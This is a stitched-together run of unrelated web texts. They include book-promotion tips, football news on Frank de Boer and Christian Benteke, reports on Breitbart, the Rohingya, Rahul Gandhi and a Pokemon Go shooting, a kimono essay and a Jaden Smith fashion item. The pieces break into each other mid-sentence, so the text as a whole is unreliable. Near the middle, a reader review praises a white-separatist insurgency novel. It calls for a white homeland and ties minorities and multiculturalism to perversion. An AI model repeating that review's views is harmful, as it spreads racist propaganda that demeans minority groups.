Contact an author who is also releasing their book and do swapsies. You can make up a nice bundle of free books if you connect with several authors at the same time, and you can all run the news at the same time on all websites, social media and to friends. Very nice!
5. Incentives
You can use incentives such as prizes (100th Facebook fan gets a free book etc.), signed copies and free stuff your sort of readers might like, and run a competition. Goodreads giveaways are brilliant also: just sign up to give away copies of your book and let Goodreads sort the winners. All you have to do is have hard copies available for mailing.
6. Share a teaser book
How about giving out your book as a special teaser edition, and add a discount voucher or hidden extras on your website to encourage the purchase of the full book? Extras could be a book trailer or an author interview, or another book you have written. You can send this out to your mailing list or link it out on social media. You can add it to uTorrent or Bit Torrent. You can write into your local paper and advertise your free book via a link on your author website.
Amazon and Kindle Promotion Codes through CreateSpace
To generate a Smashwords coupon, log in to your account.
Click “Manage this book’s coupon” on the right-hand menu.
Choose a percentage and an expiration date.
Once you’ve created the coupon, you can access it from your dashboard.
and make it into a PDF, epub or.mobi file before sharing it far and wide. Use Mailchimp to build a really good mailing list.
7. Guest Blogging
Guest blogs are an art, but if you can find websites looking for free content or writers you can submit articles and gain great exposure. SPR for instance looks for well-written blog posts about books and writing (not a vanity piece hawking your book) with links to your work and websites added. Click here if you’d like to submit something for us to take a look at. It’s amazing to me we have nearly a quarter of a million readers a month, and yet maybe only three of these aspiring writers writes a blog post! It’s all about engagement nowadays, and carving a writerly presence online is key.
8. Promo Swap
How about mentioning your fellow author’s book launch online in exchange for them mentioning yours? It’s very easy to hook up with other self-publishers on forums and social media, and many will be pleased you chose to contact them!
9. Think tiny
Sometimes a book sale can happen one on one. Telling each individual who seems interested about your book, and then having a card with your author website on it at the ready can be a great way to sell books. At parties, school fairs, talking to staff in shops, bars, restaurants and in the doctors’ office can lead to sales. A word of warning: Don’t be a book bore. Pick your “victims” carefully, and only talk about your book if asked further about it once you intially get to mention you just wrote a book. Have a small blurb ready in your mind, pitch it, then present the card “for if you want to take a look.”
10. Think niche
Did you write a science fiction book? Hold a meet and greet at a local science museum. Got a book about baking? Give a demo in your local bakery. Contact groups and societies that are concerned with your subject matter and offer to give a talk. Sign up to HARO (Help A Reporter Out) and start to network with hundreds of TV, radio and newspaper journalists who need an expert on just about anything on a daily basis. If you are really savvy on something specific, you may well find yourself on TV!FRANK DE BOER has been SACKED by Crystal Palace after just four matches in charge.
In a short meeting on Monday morning, Palace chairman Steve Parish decided to pull the trigger, after Dutchman De Boer lost all of his Premier League games.
Reuters 8 Frank de Boer has been SACKED after just four matches in charge of Crystal Palace
PA:Press Association 8 Palace chief Steve Parish called for fans to stick together on Sunday night - before pulling the trigger on Monday morning
EXCLUSIVE OFFER: BET £5, GET A FREE £10 BET
The final nail in the coffin came with a 1-0 defeat at Burnley on Sunday afternoon.
Former England manager Roy Hodgson is the odds-on favourite to take over at Selhurst Park - some reports claim the 70-year-old has already signed a two-year deal with the club.
Crystal Palace chairman Steve Parish had appeared to back De Boer last night after urging supporters to "stick together" in a Twitter spat with furious Eagles fans.
De Boer admitted he was not sure if he would still be in charge by the end of today after the Burnley defeat.
Replying to them, he tweeted: "We're four games in, it's a terrible start but we have to stick together. People are frustrated, I'm frustrated so are the management and players.
"We know we're better than this. I'm happy for people to vent at me, buck stops with me and I've never run away from that.
HE HAD TO GO By Neil Ashton Frank de Boer has been a disaster for Palace. He had to go, he really did. De Boer wanted to play the Ajax way, to rely on the principles established by the legendary figures of Rinus Michels and Johan Cruyff. It meant playing 3-4-3... and led to three successive Premier League defeats. Even when he trialled the system over the summer - losing three successive training ground games to Palace’s under-23 side - he stuck with it. The players, secretly, will be relieved that De Boer has already been moved on. He has shattered the confidence of some honest Palace players - Martin Kelly and Joel Ward among them - because of his failure to show any empathy. He did not think there was anything wrong with telling Kelly, who began his career with Liverpool, that he was not good enough to play for Palace. When Joel Ward was overlooked for selection in a training ground 11 v 11, the popular right back was told to watch the game to learn how to play wing back. The Dutchman was marked out early on by the Palace players when he started showing off the skills that earned him 112 caps for Holland during a glorious career. De Boer would pick balls out of the sky, swivel on the spot and then ping one into the top corner in front of the Palace squad.
It was unnecessary and smacked of arrogance. His playing days finished 11 years ago, but he could not resists showing off in front of his new players. It filtered back to the boardroom, with de Boer’s unusual requests and methods causing as much concern as results on the pitch. After the latest defeat, an woeful performance against Swansea on Saturday, Parish did not speak to the manager after the game for the first time in recent memory. They had met earlier in the week, with Parish making it crystal clear that he would be fired unless results and performances improved. When he decided to play Timothy Fosu-Mensah, 19, and Jairo Reidewald, 20, in the centre of defence, De Boer was warned that they wold not be physically equipped in the Premier League. De Boer thought he knew best and played them anyway. Palace have lost their opening four games, left with 34 games to fight, scrap and battle their way to 40 points. For that reason, de Boer has paid for it.
Rex Features 8 Palace have failed to score a Premier League goal under De Boer and lost all four matches
8 Crystal Palace are off to the joint-worst start in Premier League history
Some sense!
We are 4 games in, it's a terrible start but we have to stick together. https://t.co/A8Zu5APcjg — Steve Parish (@CEO4TAG) September 10, 2017
PA 8 Former England boss Roy Hodgson is the heavy favourite to take over at Selhurst Park
"I'm defending everyone at the club who's working their a**e off to turn this around. Football teams lose games, it happens.
"Get some placards and a petition up, I'll stand my record up against any chairman we've had in 118 years."
De Boer believed his side had done enough to buy him more time.
The 47-year-old said: "I don't know what will happen next. I just focus on what I can control my staff, the players and keep thinking about the next game."
SHORTEST REIGNS IN THE PREM Frank de Boer - 4 games
Les Reed - 7 games
Bob Bradley - 11 games
Jacques Santini - 11 games
Iain Dowie - 12 games
Roy Hodgson factfile Born in Croydon on August 9, 1947
Was a youth player at Crystal Palace, but never played in the first-team - his playing career took him around non-League
Took his first managerial job at just 29 in Sweden with Halmstad in 1976
Enjoyed a nomadic managerial career, mostly out of England, that has seen him take charge of 15 clubs and four nations
Has won seven Swedish titles with Halmstad (two) and Malmo (five), as well as the Danish title with Copenhagen
Led Switzerland to the last-16 of the 1994 World Cup, their first international tournament since 1966
Got to the final of the Uefa Cup with Inter Milan in 1997
Had a disastrous spell with Blackburn Rovers in the late 1990s - would not manage in England for another decade
Was a left-field choice to replace Lawrie Sanchez, but helped Fulham to one of the best spells in their history, finishing a best-ever seventh in 2009 and reaching the final of the Europa League in 2010
Moved to Liverpool but lasted just 31 games in a dismal reign
Replaced Roberto Di Matteo at West Brom, avoiding relegation and leading the Baggies to their best finish in three decades
Left for the England job after Fabio Capello resigned in the build-up to Euro 2012 - where the Three Lions lost on penalties to Italy in the quarter-final
Qualfied unbeaten for the 2014 World Cup, but in Brazil dismal performances saw England finish bottom of their group, below Costa Rica
Hodgson then led England to Euro 2016, winning all 10 of their qualifiers
But the tournament was again a disaster, with a 2-1 group stage defeat to Wales before being knocked out by minnows Iceland in one of the most embarrassing defeats in English football history
SunSport 8 Recent Crystal Palace managers
But with the Eagles suffering the worst start EVER in the Premier League, De Boer's fate was sealed.
A short Palace statement on the website read: "Cystal Palace Football Club have this morning parted company with Frank de Boer.
"We would like to thank Frank for his dedication and hard work during his time at the club.
"A new manager will be appointed in due course and we wish Frank the very best of luck for the future.
"There will be no further comment at this time."
When Parish appointed De Boer at the end of June, he said he wanted the Dutchman - who won four Eredivisie titles with Ajax - to build a long-lasting "legacy" club in South London.
He had gone through a longlist of 37 candidates to succeed Sam Allardyce, after his shock departure at the end of last season.
Parish said: "Throughout his footballing career Frank has been exposed to the absolute epitome of the perfectly run club in Ajax.
"He not only has experience of how to create a winning club and the respect of world football, but also the knowledge of how a football club really functions well from beginning to end.
AP:Associated Press 8 Frank De Boer is now the shortest-serving manager in the Premier League era
Rex Features 8 Parish said he hoped De Boer would turn Palace into a 'legacy' club when he appointed him
🦅Betting suspended on Hodgson to Palace🦅 RONALD DE BOER has only been gone a minute but the bookies have already stopped taking bets on his replacement. Sun Bets spokesman Tim Reynolds said: "The job is Roy Hodgson's - we're certain of it. We were the first to pay out on De Boer losing his job last night but now we've had to shutter the market." NEW CUSTOMER OFFER: BET £5 GET A FREE £10 BET
"It is going to be difficult if Frank says 'this is what we did at Ajax' and for me not to think that is a good idea.
"If we can implement that slowly over a period of time, that is what we want to do. But that is against the backdrop of the priority being the first team.
"We want to create a legacy football club that has a security and presence in the Premier League.
"Hopefully Frank can take us to another level."
De Boer now becomes the shortest-serving manager in Premier League history.
His five matches - the Dutchman won a League Cup clash against Ipswich Town last month - is shorter than Les Reed's seven-match tenure at Charlton Athletic in 2006.
CLICK HERE FOR THE MOST PROFITABLE TRANSFERS IN HISTORY
Keep up to date with all the latest news, gossip, rumours and done deals in SunSport's live transfer blogWith all of the garbage we’ve heard coming out of the cesspool known as Hollywood, it’s fun to think about the actors who might still be able to attend if the immoral were suddenly barred from the Oscars.
If Hollywood bars the immoral from the Oscars, Denzel may be the only guy in the room. — Ben Shapiro (@benshapiro) October 15, 2017
Ok, full transparency – Denzel Washington is seriously like the bacon of Hollywood, there’s always room for Denzel Washington.
RAR.
Bruce Willis would have at least a colorable claim to join him there — Josh Hammer (@josh_hammer) October 15, 2017
Good one.
Come out to the coast, we’ll have a few laughs …
And Gary Sinise. — Robert Lee (@RobbieCooper) October 15, 2017
ABSOLUTELY.
We love you Lieutenant Dan!
Clint Eastwood would be there too. — I'm With Zer (@imwithzer) October 15, 2017
Only if they’re lucky, punk.
Matthew McConaughey seems like a cool dude. — Travis View (@travis_view) October 15, 2017
Alright alright alright.
Amy Adams would prob still have a seat, she seems pretty cool? (unless you meant guys to mean males and not ppl in general) — MKNewsom? (@MKNewsom) October 15, 2017
I don't know, Jon Heder seems like a stand up guy too. pic.twitter.com/5Z9zFzK8bq — SWG (@stwinng) October 15, 2017
And don’t forget James Woods — Rick V (@RAVazquez0110) October 15, 2017
We need more of THIS Hollywood, less of that other one.
Related:
HACKED?! Michael Ian Black tweetstorms about Dems ‘long sh*tty history’ with predators (sorta)
What a WAY to make a living? Jane Fonda admits she KNEW about Weinstein yet said NOTHING
They ALL knew: Courtney Love banned by powerful Hollywood agency for calling out WeinsteinGet the biggest Liverpool FC stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Besiktas have been priced out of a move for Liverpool striker Christian Benteke.
The Turkish club’s president Fikret Orman has confirmed their interest in signing the Belgium international, who is surplus to requirements at Anfield.
However, Liverpool remain determined to recoup the £32.5million they paid Aston Villa for Benteke a year ago and Besiktas can’t afford the fee.
“Benteke is a great player but he has a very high market valuation,” Orman said.
“I want Benteke but Liverpool want a lot for him. It won’t be an easy transfer but we will see.”
The player’s agent Eris Kismet says a number of clubs have shown an interest in signing the big frontman but Liverpool haven’t received any offers since rejecting a £25million bid from Crystal Palace last month.
Benteke played no part in the Reds’ pre-season matches having fallen behind Daniel Sturridge, Danny Ings, Divock Origi and Roberto Firmino in the pecking order.
“We are waiting for any news but at this moment there is nothing concrete,” Kismet said.
“There are several teams interested in signing him so hopefully we can reach a resolution soon.”
Boss Jurgen Klopp made it clear recently that Benteke won’t be allowed to leave on the cheap.
“Christian already said it maybe makes sense for him to go to another club", he said. “If there are clubs that want a striker from us they have to make real offers.”
Meanwhile, former Liverpool Academy defender Ryan McLaughlin has joined Oldham Athletic on a one-year contract.
The Northern Ireland international was released by the Reds at the end of last season.Image caption Breitbart describes itself as a "conservative media giant"
A leading ad exchange has blacklisted Breitbart News, which until recently was run by one of US President-elect Donald Trump's closest advisers.
AppNexus said it would no longer allow Breitbart to sell ad space via its platform, after determining that the site had broken its code on hate speech and incitement to violence.
Breitbart responded saying it "has always and continues to condemn racism and bigotry in any form".
AppNexus has not given examples.
But a spokesman said a "human audit" of Breitbart had flagged several articles that had caused it concern because of the language they had featured.
"We use a number of third-party standards to determine what is and isn't hate speech, and if we detect a pattern of speech that could incite violence or discrimination against a minority group, we determine that to be non-compliant and we simply won't serve ads against it," AppNexus's spokesman Joshua Zeitz told the BBC.
"I'm not going to put the examples out there because I'm not going to engage in a tit-for-tat on what is compliant."
The Bloomberg news agency was first to report the development.
Image copyright AppNexus Image caption AppNexus says its tools can deliver billions of ad views every day
It noted that AppNexus' investors included Microsoft, News Corp and Sir Martin Sorrell's WPP.
The move follows an earlier ban by Twitter of one of Breitbart's most prominent writers, after claims he had incited abuse against an actress.
Contentious headlines
Breitbart is a right-wing news network based in the US that also has outposts in the UK and Israel.
It is popular with readers from the "alt-right" - which it defines as being "younger people who are anti-globalists, very nationalist [and] terribly anti-establishment" - but does not recognise itself as being a part of the movement.
And several of the site's headlines have been provocative, including:
The solution to online 'harassment' is simple: Women should log off
Hoist it high and proud: The Confederate flag proclaims a glorious heritage
Data: Young Muslims in the West are a ticking time bomb, increasingly sympathising with radicals, terror
Some critics have also condemned a headline containing the words "renegade Jew".
However, the site's former executive chairman Steve Bannon recently noted that it had been written by a guest contributor rather than one of Breitbart's own staff.
Image copyright Getty Images Image caption Steve Bannon was an officer in the United States navy and worked at Goldman Sachs bank before joining Breitbart
Mr Bannon now serves as chief strategist to Donald Trump.
The appointment has been criticised by civil rights groups, including the Southern Poverty Law Center, the Anti-Defamation League and the Council on American Islamic Relations, because of Mr Bannon's record at Breitbart.
But when the president-elect was asked by the New York Times what he made of those concerns, Mr Trump said: "Breitbart, first of all, is just a publication.
"They cover stories like you cover stories.
"Now, they are certainly a much more conservative paper, to put it mildly, than The New York Times.
"But Breitbart really is a news organisation that has become quite successful.
"It's got readers, and it does cover subjects that are on the right, but it covers subjects on the left also.
"It's a pretty big thing."
For his part, Mr Bannon told the Wall Street Journal he accepted the alt-right had "some racial and anti-Semitic overtones", but added that he had zero tolerance for such views.
Image copyright Getty Images Image caption Mr Bannon's appointment has proved controversial
"Breitbart is the most pro-Israel site in the United States of America," he added.
Other ad platforms including those of Google, Amazon, RadiumOne, OpenX and Ghostery continue to operate via Breitbart's site.
"We think that all ad tech companies should have rules governing hate speech," said Mr Zeitz.
"We're not in a position to tell them how to make their decisions. But [the rules] should be consistently enforced."Myanmar Information Ministry issued a ban on government officials forbidding them to call Muslim minority “Rohingya” (as they call themselves) but to use the term “people who believe in Islam” instead.
This ban by the ministry issued on June 16 and labeled “secret” came during a still ongoing visit by the United Nations Special Rapporteur to Myanmar – Yanghee Lee.
Words “Rohingya” or “Bengali” are banned from use by the government officials during Lee’s visit, who is expected to visit the Myanmar’s State of Rakhine by the end of this week. Rakhine State is a home to a Muslim minority of over one million people.
Buddhist nationalists strongly oppose the term “Rohingya” and call the ethnic group “Bengali” – a term used to describe people from neighboring Bangladesh. Buddhist nationalists denounced claims by the Rohingya people of their residence in the country which goes back for centuries.
Many Rohingya were victims of sectarian violence that escalated in the State of Rakhine in 2012. According to some sources majority of the Rohingya people were denied Myanmar citizenship by the government.
Land of constant civil wars
Myanmar, formerly known as Burma is a home to over a hundred different ethnic groups. The country of over 50 million people has had a violent history of repressive military regimes, sectarian violence and civil wars that are still ongoing.
Some have claimed Myanmar’s civil conflict is the longest civil war in history, as 15 different groups are still in rebellion against the central government. Civil conflicts started in 1948 following the country’s independence from UK.
Armed groups in the northern and northeastern states of Kachin and Shan are in rebellion against the central government demanding more autonomy to their states and the rights for self-determination.
After two years of negotiations, a ceasefire between the central government and 8 out of 15 of the major armed groups was finally signed in 2015.
Rakhine state
Rakhine state is located in southwest Myanmar and is a home to two ethnic groups who strive for self-determination, the Buddhist Rakhine (also called Arakanese) and a Muslim minority – Rohingya.
In 2012 a false news report of a Rakhine girl being raped by Rohingya men sparked sectarian violence that left many dead, mostly Rohingya. Over 100,000 Rohingya now live in camps for internally displaced persons.The boy band genre may be slowly fading in North America, but over in Asia, one act is blowing up all over the place.
If you haven’t yet heard of K-pop sensation Big Bang, an ultra-stylized five-piece boy band from South Korea, chances are you will hear about them a whole lot more in the near future.
Consisting of G-Dragon, Taeyang, T.O.P., Daesung and Seungri, Big Bang has been active since 2006 and has released various EPs that helped it break into the Japanese market.
The group’s latest “mini album” Alive was released in February, and single Fantastic Baby has garnered over eight million views on YouTube since it was released just 10 days ago.
It doesn’t hurt that Fantastic Baby is easily one of the most colourfully twisted pop videos we’ve seen in a while, combining RPG style art, riot gear, steampunk elements and |
affecting about 1,500 students.
Until the error is fixed — which is expected to be next year — no students with accounts in credit will be refunded, even if their situation is unrelated to the glitch.
One student, who did not want to be identified, told the ABC that the ATO would not provide a refund despite his account showing a credit that dates back to 2005, nine years before the computer glitch developed.
The National Tax and Accountants Association's Andrew Gardiner said the glitch should have been fixed by now.
"It is really concerning that an issue that they've been able to identify as being problematic cannot be rectified," he said.
"They don't know whether they owe money, whether they need to pay money, where they sit.
"The extension into that is that the time that it's going to take for tax agents who are looking after these students is also going to be a frustration.
"So nobody really wins out of this at all.
"If the ATO gives them a timeframe … when they lodge their tax return they can do so with certainty."
The ATO said the glitch was not disadvantaging any students and those with concerns should contact them.
Mr Gardiner said past and present QUT students could also contact a registered tax agent to review their HELP account.
He worried students from other universities could also be affected.
"It's one of those situations where until somebody highlights the problem there's no guarantee that it doesn't apply more broadly," he said.
Topics: tax, government-and-politics, university-and-further-education, business-economics-and-finance, brisbane-4000, qld
First postedThe Congress is finding it hard to defend a long holiday taken by its vice-president Rahul Gandhi, and some seniors in the party are questioning whether the scion of the country's most famous family is interested in politics.
Gandhi, a 44-year-old bachelor parliamentarian, took a leave of absence starting in late February, and is now said to be returning to work later this month. There is no word where he might be.
His vanishing act has spawned a series of tongue-in-cheek comments about his choice of holiday spot and what he might be doing, and "missing" posters have been pasted on walls in his constituency.
Jokes aside, Gandhi's decision to go on a holiday at the start of a parliamentary session, at a time when Congress was attacking Prime Minister Narendra Modi over land policy, has led to doubts about his commitment to politics.
Senior Congress members, who normally pride themselves on displays of loyalty to the great grandson of India's first prime minister, are beginning to openly express frustration.
"He's entitled to have a leave for a holiday, but the timing was wrong, because we had the budget session going on, and the issue of land acquisition was to be debated, he could have gone when there was a recess," party leader Digvijaya Singh said.
Singh, who this week said Gandhi would be back in time to lead a farmers' rally on April 19, was referring to Modi's attempt to make it easier for industry to acquire land, a policy that Congress has called anti-farmer.
While Gandhi has been away, his mother, party president Sonia Gandhi, has taken full-time charge, leading a rally and visiting villages to protest against the land law.
In February, Congress said Rahul Gandhi needed time off to reflect on electoral defeats and plot the future of the party.
Many Congress party members want Gandhi to take over from his mother, despite having led the party to its worst ever election defeat last year when he was chief campaigner against Modi.
Gandhi's laid-back approach contrasts with the relentless work schedule of Modi, who claims never to take days off work.
One political cartoon published on Thursday showed a Congress member at an airport holding a placard bearing Rahul Gandhi's name, and saying he'd forgotten what he looked like.
"It is very embarrassing for me as a Congress politician to justify Rahul's leave," said a senior leader who served as a minister in the Congress government voted out in May. "I did not join politics to defend his presence or absence."
His supporters say he will return fresh and will modernise Congress when he takes over from his Italian-born mother.
Critics say the mystery vacation reinforces the image of a political lightweight, who makes periodic public appearances and retreats into a elite lifestyle. Even when he is officially at work, Gandhi is more often spotted at an exclusive gym than in Parliament.
Digvijaya Singh said Gandhi needed to become a full time politician.
"He has to be. Politics...is not half time," Singh told Reuters. He said he did not know where Gandhi might be.
Read:Rahul Gandhi will be back soon, says Sonia in Amethi
Read:Rahul likely to attend Congress rally against land bill on April 19
First Published: Apr 09, 2015 20:21 ISTfavorite favorite favorite favorite
This novel is not for everyone. If you believe that the U.S. should be a multicultural society, where perversion of various kinds is accepted, where pedophiles run rampant, and where the colors of the various races will bleed into one, then this book isn't for you.However, if you are white, male/female, heterosexual and are sick and tired of being blamed for everything wrong in American society - you might get some enjoyment out of the novel. It's fast paced, the characters are believeable and the military aspects are real enough. If anyone studies insurgency movements, they soon discover that most start out in much the same way that Covington describes - as a group of friends who band together for a common purpose, in this case, establishing a homeland for whites "where a white child can grow up in the world of Jane Austen, not the world of 'A Clockwork Orange.'"Yes there is racism present in the novel - it's in the reader's face and it's pervasive. What of it? The U.S. has been dominated by the PC-infused nitwits from both parties for the past 20 years or so and 'Brigade' addresses those issues, admittedly in a very violent manner, but the author does address where the U. S. might be headed if certain ideologies prevail, namely the 'let's blame Whitey for all the wrongs in soceity and let's all accept every behavior from any minority because it's their right, blah, blah, blah.'Overall, it's a well written book, with some minor spelling/typographical errors and is very logical in its plot progression. Those reviewers who give this book and others in the saga [now up to 4 books - 6, if you include 'Fire and Rain' and 'A Slow Coming Darkness'], on this site and others, fail to see that there is a significant part of the white population that has had enough of the b.s. that has been shoved down their throats since the 1960s. This book is an important step in reversing some of the more uglier trends of the previous half-century. Having said that, it's definitely not for the faint-hearted or Politically Correct/Corrupt, coffehouse, postmodernist crowd.A man attempting to rob a group of Pokemon Go players was instead shot by a player who was packing more than just Poke Balls, police say.
The attack inside a Las Vegas park Monday sparked a 4 a.m. gun battle between the would-be robber and gamer, The Las Vegas Sun reported.
The armed suspect and a Pokemon player were hospitalized for non-life threatening injuries after the shootout ended, Metropolitan Police said.
Suspected gunman Elvis Campos, 18, was later arrested on charges of robbery with a deadly weapon, battery with a deadly weapon, conspiracy to commit robbery and assault with a deadly weapon, police said.
Las Vegas Metropolitan PD Elvis Campos, 18, faces multiple charges after police say he tried to rob Pokemon Go players at gunpoint Monday.
A second juvenile suspect, who was allegedly driving Campos’ getaway vehicle, was also arrested. The individual has not been identified because of age, police said.
The armed gamer, who police have not identified, had a concealed carry license, a police spokeswoman told The Huffington Post.
Gary Reese Freedom Park, where the incident occurred, is about two miles northeast of downtown and appears to be a popular site for Pokemon Go players.
Users report on a “Pokemon Go Las Vegas” Facebook page that it’s a great spot for finding magikarps, or fish Pokemon.
The Huffington Post has reached out to the Metropolitan Police for comment.President Donald Trump told a crowd of police officers Friday not to be “too nice” to suspected gang members and others under arrest.
“When you see thugs being thrown into the back of a paddy wagon, you just see them thrown in; rough. I said, ‘please don’t be too nice,’” Trump said Friday at a Suffolk County, New York event discussing the administration’s efforts to handle a violent gang known as MS-13. “Like when you guys put somebody in the car and you’re protecting their head, you know, the way you put your hand over it. Like, don’t hit their head, and they’ve just killed somebody. I said, you can take the hand away, O.K.?.”
Some in the crowd cheered at Trump’s remarks. But on social media, some observers were quick to accuse the President of encouraging violent behavior among officers at a time when police departments nationwide are under pressure to clamp down on officer-involved incidents.
President Trump appeared before federal, state, and local law enforcement officers Friday to discuss his administration’s ongoing efforts to rid the country of illegal immigrants, particularly members of the MS-13 gang. Police say the gang has been responsible for 17 killings on Long Island since January of 2016.
The Brief Newsletter Sign up to receive the top stories you need to know right now. View Sample Sign Up Now
“They kidnap, they extort, they rape, and they rob. They prey on children. They shouldn’t be here,” President Trump said of MS-13, which first arose in Los Angeles. “They are animals.”
“We cannot accept this violence one day more,” Trump continued. “You’re not going to allow it and we’re backing you up one hundred precent.”
Trump said the administration’s goal was to “dismantle, decimate, and eradicate” MS-13 and other criminal groups operating in the U.S. But immigration advocates have expressed concern that the President’s rhetoric and targeting of undocumented immigrants writ large has in actuality emboldened gang members and spread fear among law-abiding undocumented immigrants.
Contact us at [email protected] work at a Japanese-American community newspaper where, every Halloween, we have the same conversation. Then something happens — like Katy Perry gives a performance, or a fraternity has a theme party — and we have the conversation again. If I had strong feelings in the beginning, they’ve been numbed by time and frequency. I just don’t have the energy to react each time a white person wears a kimono as a costume.
But when the Boston Museum of Fine Arts launched and ultimately canceled an interactive event called “Kimono Wednesdays” — during which visitors could pose with Monet’s “La Japonaise” while wearing a replica kimono — I read the coverage anyway. And though I should know better by now, I read the online comments, too. All that most commenters wanted to do was tell stories about their experiences with Japan and Japanese people. They wanted to say that they’d been to Japan, loved and respected the culture, and wore kimono with the approval, even enthusiasm, of their Japanese friends.
I’ve also been the foreigner in kimono. Although my mom is Japanese, I learned most of my Japanese at a liberal arts college in New England, in a classroom full of white people — white people who, like the Boston Globe commenters, loved Japan, and even found a sense of belonging there that they couldn’t find the US. My dad had been one of them, 30 years before, studying Japanese in Oregon before living in Tokyo for a year. He worked for a Japanese company in Los Angeles, and eventually married my mom.
Advertisement
When I studied abroad in Kyoto, I was one of only three exchange students with Japanese blood. My host mom worked at a kimono shop, where she dressed both tourists and locals, especially for their seijinshiki, the Japanese answer to a sweet 16 party. She gave me a full special-event package, dressing me in a silk furisode with long, dramatic sleeves. Wearing the kimono, though it was constraining and the heavy obi hurt my back, I felt calm and right. When I saw the photos later, though, my heart sank. With my updo and light makeup, I looked whiter than ever, like an interloper in my own motherland.
Get Today in Opinion in your inbox: Globe Opinion's must-reads, delivered to you every Sunday-Friday. Sign Up Thank you for signing up! Sign up for more newsletters here
When I read angry think-pieces on cultural appropriation, my feelings are split. I feel anxiety that, with my white-looking face (green-eyed and freckled), I look like an appropriator all the time: when I wear a yukata to a summer festival at the Buddhist temple down the street, when I buy canned sardines at the market in Little Tokyo, when I include my name in Japanese characters on my Facebook profile. This part of me bristles, wonders who could be worthy or clear-eyed enough to dictate what is and isn’t an example of appropriation in our increasingly mixed-race world.
And then, I admit, I think of the friends whose behavior I haven’t been able to process yet, no matter the amount of time that goes by, because I want an excuse not to see them in a negative light, like the guy who dressed up as a geisha at costume parties, for example — a kind, friendly guy, who spoke excellent Japanese. As soon as I make concessions like that, my mixed-race anxiety kicks in again: am I a banana in my radical Asian-American friends’ eyes, yellow(ish) on the outside, white on the inside?
But on top of all that, I think about the times when I’ve felt my words about my identity taken right out of my mouth. The earliest I can remember was that day in sixth grade when I gave a presentation on Japan. My mom had helped me that morning by packing my cousin’s hand-me-down kimono in a plastic bin and making onigiri for the class. I, shy and frizzy-haired, gave my talk about my mom’s country and then sat down, pretty happy to have had the chance to air out this part of myself that usually stayed below the surface, because back then I was still learning how to talk about it.
Then my copresenter stood up, a blond girl I didn’t know, visiting from a different class. She came from a different angle, showing us her manga and J-pop magazines, before proclaiming that, in Japan, men are more feminine than they are here, period. I went home with this feeling that she was probably wrong but that I had no idea how to correct her. I hated my silence, and I hated that she’d had the final, confident word despite not having done much to earn it. I’d been to Japan only twice at that point, the last time being when I was 4 years old. I knew so little about the country, and I had no confidence in the misty, tenuous things I did know. And yet, the things I knew, though limited, were crucial. My mom had always told me that there was just something “in the air” in Japan, and that she wanted me to go there so I could feel it. “In the air” was a big phrase for her. When her mom, my obachan, died, that was also what became of her. She was “in the air.” My mom could feel her. Invisible, improbable, undeniable. That was my Japaneseness to me too.
Advertisement
Here’s what I wish everyone would understand. Japanese people in Japan and Japanese-Americans are not the same. In Japan, where “Kimono Wednesdays” toured before making its way to Boston, the event may have been a mostly unquestioned success. But context is everything. In Japan, ethnically Japanese people have little reason to feel anxious about their identity, or to feel that one person in costume in a public place can take it away from them. Their right to Japaneseness is reinforced everywhere they look, just as Americanness is for white people in the US.
I can’t speak for all Japanese-Americans, but I can speak for myself, one twentysomething mixed-race woman with a Japanese mom and a white American dad. I spend so much energy shouting about my identity from the rooftops, trying to make sense of it, trying not to care when any group questions my right to be a part of it. And when I tell you that I’m offended, as protesters told the Museum of Fine Arts, that’s not a superficial, knee-jerk reaction, but one that comes from that deep, raw place within me where all those intangibles about culture live. No matter how often I speak from that place, it continues to hurt and feel dangerous. Will this person listen, I think, or take me seriously, or completely reevaluate our relationship when they hear what I have to say? For that effort, I don’t expect to get my way. But I do hope to be heard.
Here’s one comment that stuck with me most, from Martha1: “I made deep and lasting friendships with a college student who came here to study for a year and who was from Tokyo and then with a grad student from Osaka. We attended the BSO and MFA and other venues together and spent several years in one another’s happy company in Boston.... I cannot imagine them feeling anything other than happy that I loved the kimono. I cannot imagine!”
As earnest and well-meaning as Martha1 sounds, it’s lack of imagination, ultimately, that is the problem here, the lack of willingness to consider someone else’s position. To consider that the OK of one Japanese friend who likes your kimono doesn’t mean wholesale approval from all Japanese people, let alone Asian-Americans. Or to consider that even if an act — a harmless one like putting on a costume in front of a painting — isn’t wrong, it might not be right either. Most of all, what I wish we’d do in the face of race-related protest is listen, consider other possibilities, then have a real conversation.
I imagine my white grandma, who reads my articles in the Japanese-American newspaper and recently sent me an embroidered greeting card featuring a crane next to a stone pagoda, waiting in line at the Museum of Fine Arts to try on a kimono and stand in front of a Monet. I imagine her — in her sweatshirt-over-turtleneck combo, her gray hair dyed red and newly set — being called a racist, a colonizer, and I feel embarrassed, protective, sad. I hope she would read the protesters’ signs and think, really think. (I hope the protestors would treat her gently.) I hope she wouldn’t say, “My granddaughter is Japanese and she wouldn’t mind.”
Mia Nakaji Monnier lives in Los Angeles and works for The Rafu Shimpo, a Japanese-American bilingual newspaper.
Related:
Advertisement
• MFA recasts kimono days after complaints of stereotyping
• Marcela García: Don’t reduce Mexican culture to tired stereotypes
• Stephen Kinzer: Terrorism in Paris, Sydney the legacy of colonial blunders
• Renee Graham: White stars ‘rob’ black artists of hip-hop cultureUpdate: Now there's video (embedded above). Amazing, mysterious video. Jaden is so very Jaden in it.
As reported, 2015 was the year Jaden Smith said and did many things—many elevated things. Among the many, many elevated things he said was that his attempts to change fashion for the better was, “all about creating, and dressing a generation, and helping a generation.”
Well, it seems the young prophet is putting all that Smith money where his very special mouth is in 2016. Just yesterday, Louis Vuitton creative director Nicolas Ghesquiere unveiled shots from the storied brand’s Spring/Summer 2016 womenswear campaign—shots featuring, that’s right, Jaden Smith.
We are all witnesses:
Aside from the fact that we’re seeing a man—a famous man—modeling women’s clothing for a historic brand, there are some other amazing things to drink in here. First off, Smith looks only a tad different wearing the women’s Spring collection than he does wearing his own, personal wardrobe. Skirts are not exactly new territory for him, though perhaps this is the shortest one cameras have captured him in. In these photos by Bruce Weber, he seems at normal and natural (well, normal and natural for him) even if that sweater might be a new ripple for the teen star.
And this is all for the good. Look, Jaden Smith is what they used to call a “character.” It's fun to smirk at his uniqueapproach to life and living. That said, seeing a man we know so well being comfortable in a high-fashion women’s campaign is a net positive for everyone—queer or not—who dresses somewhere off the straight and narrow.
